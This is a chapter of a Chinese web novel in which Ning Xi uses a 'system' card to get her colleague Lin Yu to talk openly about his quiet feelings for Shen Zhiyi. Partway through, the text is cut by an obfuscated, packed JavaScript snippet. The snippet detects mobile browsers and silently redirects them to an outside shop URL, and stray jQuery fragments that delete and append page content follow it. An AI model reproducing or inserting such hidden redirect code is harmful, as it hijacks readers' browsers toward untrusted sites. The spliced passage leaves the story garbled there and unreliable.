那天之后宁溪也暗戳戳加入了“磕cp”的队伍。

    完全理解了大家为什么会替两人着急了,这就是在现实磕cp的乐趣吧。离开了青涩校园之后,这种单纯的暗恋实在是让饱受职场蹉跎的牛马感觉到一丝美好。

    她磕上头了甚至会在脑海里疯狂骚扰系统,希望TA能赐下一张能促成这对的卡牌。

    【没、没有!!系统真的没有那样的卡牌】

    “有的有的,一定有的,身为不劳而获系统你怎么能没有这种卡牌呢?不劳而获的爱情也是不劳而获啊!还能促成佳偶,系统我觉得这样一定能收集到命运偏离值的!”

    “你想想,本该相互错过的情侣因为我们的帮助,成功走到了一起,多么美好的命运线!”

    【……】

    系统决定装死到底。

    并且接连几天宁溪抽出来的卡牌都是诸如:

    【E级卡牌:救人于水火的卫生纸(限定一次)】

    【卡牌效果:人有三急,当你困于厕所中没有卫生纸的时候,噔噔~救人于水火的卫生纸就出现啦!限定使用次数:1次。】

    这种卡牌。

    宁溪合理怀疑系统公报私仇,但是宁溪没有证据。

    沈知意和林屿两人,一个是含羞草(因为宁溪觉得她不敢主动一推就跑的样子很像),一个是木头。宁溪觉得还是得从林屿入手才有希望。

    不知道宁溪这个从来没谈过恋爱的单身狗是怎么有自信撮合别人的,毕竟公司里的大家努力了一年都没有让他们更进一步。

    总之上班之余,宁溪开启了她的“爱神计划”(她自己起的名字,还被系统嘲笑了)。

    她兴致勃勃地跟陈琳分享自己的计划:趁着公司每个季度的团建,提议真心话大冒险,然后……水到渠成!

    “都一年多了……那么多次团建你以为我们没试过吗!结果他们两个,一个宁愿做惩罚无偿给公司多画一个设计稿,一个宁愿无偿修三个公司系统bug,都不愿意选真心话或者大冒险!”

    (是的,宁溪的公司不提倡酒桌文化,游戏惩罚内容也非常成人、啊不,非常健康向上)

    这次轮到宁溪无语了,没有想到自己的爱神计划还没实施就遭遇了滑铁卢。

    陈琳拍了拍宁溪的肩:“年轻人哟,他们有自己的宿命,不是吾等能够插手的。”

    道理都懂,现实里的爱情其实没有那么多轰轰烈烈,但宁溪还是希望沈知意和林屿两个人,至少不要留下遗憾。

    点开和沈知意的对话框,二人的对话还停留在上次沈知意发的那句“嗯,我知道,还是谢谢你。”

    她想起来上次看见的除了咖啡,还有一张纸条。

    难道说……沈知意其实告白过只是被拒绝了,所以才只是默默地送咖啡?

    宁溪越想心越痒,她实在好奇那张纸条上写了什么,又不好意思直接问当事人,犹豫再三还是决定询问一下消息小灵通陈琳。

    “啊……那个啊,有人看过,其实就是每次送的是什么咖啡,几分糖。”

    “就这?”

    “不然你还指望是啥?但凡有点其他内容,我估计他俩都早在一起了。你说明明都是学长学妹了,怎么能这么多年都没动静呢!”最后一句话还带了点恨铁不成钢的意味。

    宁溪也觉得奇怪,沈知意其实在公司里人缘很好(不然大家也不会想帮忙撮合),自身也非常优秀:工作完成得漂亮,很少与人争执,长得也十分清秀……怎么林屿就这么无动于衷呢!

    思来想去,宁溪怀疑问题出在男主人公身上。她不再磨着系统要TA给一张能撮合情侣的卡牌了,而是决定曲线救国——

    “系统~给我抽一张那种,能让人敞开心扉聊天的卡牌呗~”

    还是得上话疗!

    系统许是被磨得不耐烦了,真的满足了她的愿望:

    【恭喜宿主获得A级卡牌:咱俩唠唠呗(限定一次,限定宿主本人使用)】

    【卡牌效果:使用卡牌后,宿主可指定一名谈话对象,在对方无明确拒绝意愿的前提下,使该对象自然进入敞开心扉的交流状态。仅限对话场景使用,持续至当前对话自然结束。仅限一次,仅限宿主本人使用。】

    好消息:满足了宁溪的要求。

    坏消息:只满足了一半。

    宁溪本来只想让林屿和沈知意能够敞开聊聊的,怎么变成宁溪去和他们其中一个人聊聊了。

    她看着那张卡牌,心里开始纠结。用吧,感觉自己像个多管闲事的八婆;不用吧,那岂不是白磨了系统那么久,毕竟是好不容易才“抽”到的牌。

    但问题在于:她没有合适的理由去找林屿。沈知意那边她好歹还有个“我帮你保密”的交情基础,而林屿呢?两个人充其量只是点头之交,她总不能直接冲过去说“诶,我想跟你聊聊你跟沈知意的感情问题”吧。

    就在宁溪快要放弃的时候,公司OA发布了一条正式通知:技术部林屿,调任外地分公司,任期起始日期为本月月底。

    宁溪看到那条通知的时候正在喝水,差点被呛到。她放下杯子,在脑子里飞快地算了一下时间,还有不到两周,林屿就会离开这座城市。

    那天下午宁溪从其他同事口中得知:沈知意中午在楼梯间哭了,被人撞见了。没有人上前去安慰她,因为所有人都知道她为什么哭,但没有人知道该说什么。

    宁溪头脑一热就来到了三楼,工位上有人,那个人背对着她,正弯腰从桌上往地上的纸箱里放东西。

    深灰色的衬衫,袖子卷到小臂中间,肩背的线条普通得没有任何记忆点。宁溪想了想,发现自己甚至没法在脑子里勾勒出这个人的正面轮廓:明明是自己这段时间在磕的CP男主角,她居然是第一次正面看他。

    他直起身,转过来。

    确实不是什么帅哥。五官周正,但丢进地铁早高峰的人群里,三秒就能被淹没。鼻梁上架着一副银框眼镜,镜片后面那双眼睛倒还算干净,只是此刻带着点被打断的意外。

    “你找谁?”林屿把手里的一摞文件夹搁在纸箱边沿,问她。

    宁溪的脑子在那一瞬间是空白的。沈知意不在,她站在人家的部门走廊里,目光直勾勾地盯着人家,怎么看怎么像来者不善。

    “那个……我上次送过来的文件,”她听见自己磕磕绊绊地开口,“你收到了吗?就是……上次宣传,好像有几个数据要核对一下。”

    那个文件早就核对通过了,两个部门都盖了章,宁溪的借口拙劣到自己都想找个地缝钻进去。

    林屿没有戳穿她。

    “收到了,数据都对,没问题。”然后便继续低头往纸箱里放东西,并没有追问。

    宁溪心一横,“系统,使用卡牌:咱俩唠唠呗,使用对象林屿。”

    【使用成功,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793998|210465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    A级卡牌:咱俩唠唠呗,剩余使用次数:0。】

    “那个,林屿?你有空不?我有点文件上的事想问你,咱俩去那边聊一下?”

    宁溪试探着开口,有点不确定卡牌的效果,毕竟“敞开心扉聊天”这种效果还是太虚了,她真的很担心自己会被当成八婆赶出去。

    应是卡牌起效了,林屿放下手中正在整理的东西,二人来到了旁边没人的地方。

    “我其实……”宁溪的手指在裤缝上蹭了一下,“不是来问文件的。”

    “你是来问沈知意的吧。”他说。

    宁溪的嘴张了一下又合上。她想说“你怎么知道”,但转念一想,整层楼都在磕,他要是看不出来才叫奇怪。

    “你问吧。”

    宁溪忽然不知道该从哪问起。沈知意的咖啡,沈知意的纸条,每次团建的真心话大冒险……这么多细节堆在一起,他怎么就能装了一年多的木头?

    “我认识她的时候,她大一。”林屿开口了,像是不需要宁溪提问就能知道她想听什么,“学生会招新,她来报名。她是个特别优秀的女生,大一拿奖学金,大二设计稿就得了省奖,追她的人都排着队。”

    他顿了一下。

    “有次学生会聚餐,刚好遇上了社会青年混战,我替她挡了一棍子。肾上腺素分泌,会被误当成荷尔蒙。”林屿说这句话的时候笑了一下,“我知道自己配不上她。”

    宁溪一下不知道该说什么,她想起其实沈知意也不喜欢聚餐,只是季度聚餐所有部门的人都会去,所以她才去。林屿也不参加聚餐,只是沈知意会去,他才去。

    所以这两个人到底在变扭什么!!

    “而且,”林屿的目光投向窗外,对面写字楼的玻璃幕墙正把下午的太阳反射成一小块刺眼的光斑,“我马上要调走了。她在这家公司设计部,刚做出一点名气,领导赏识她,年底有可能升主管。我不能……”

    他话没说完,但宁溪听懂了。不能影响她。不能成为她的牵绊。不能让她为了一个要离开的人,停下往前走的脚步。

    “那张纸条,”宁溪的声音忽然有点发干,“你收到的那些,你都看过吗?”

    林屿看了她一眼。然后他走到工位,弯腰,从脚边那个准备带走的纸箱里翻出一个巴掌大的铁皮盒子拿过来:深蓝色,盖子上印着一只白色的海鸥。

    宁溪看到盒子的边角被磨得发了亮,显然是被人反复打开、合上过很多次。

    林屿掀开盖子。

    里面整整齐齐叠着一沓纸条。淡黄色的便签纸,每一张都折成同样的大小,按日期排着,从最底下的微微泛黄到最上面的还保持着挺括的棱角。

    他抽出最上面那一张,展开来给宁溪看。

    上面只有一行字,沈知意的笔迹,圆润、工整、一笔一画都写得认真:

    「美式,少冰,不加糖。」

    宁溪盯着那行字看了好几秒。

    居然真的只是咖啡的名字和甜度,几乎不带任何多余的情绪,但是沈知意把所有的喜欢都藏进了这几个字里。

    她又往下翻了两张。一张写着「拿铁,热,三分糖。」,另一张写着「燕麦拿铁,去冰,半糖。」。

    每一张都只有咖啡信息,日期,偶尔加一个“请慢用”,连称呼都没有。

    每一张都被林屿收进了这个深蓝色的铁皮盒子里,带在身边,准备带去另一个城市。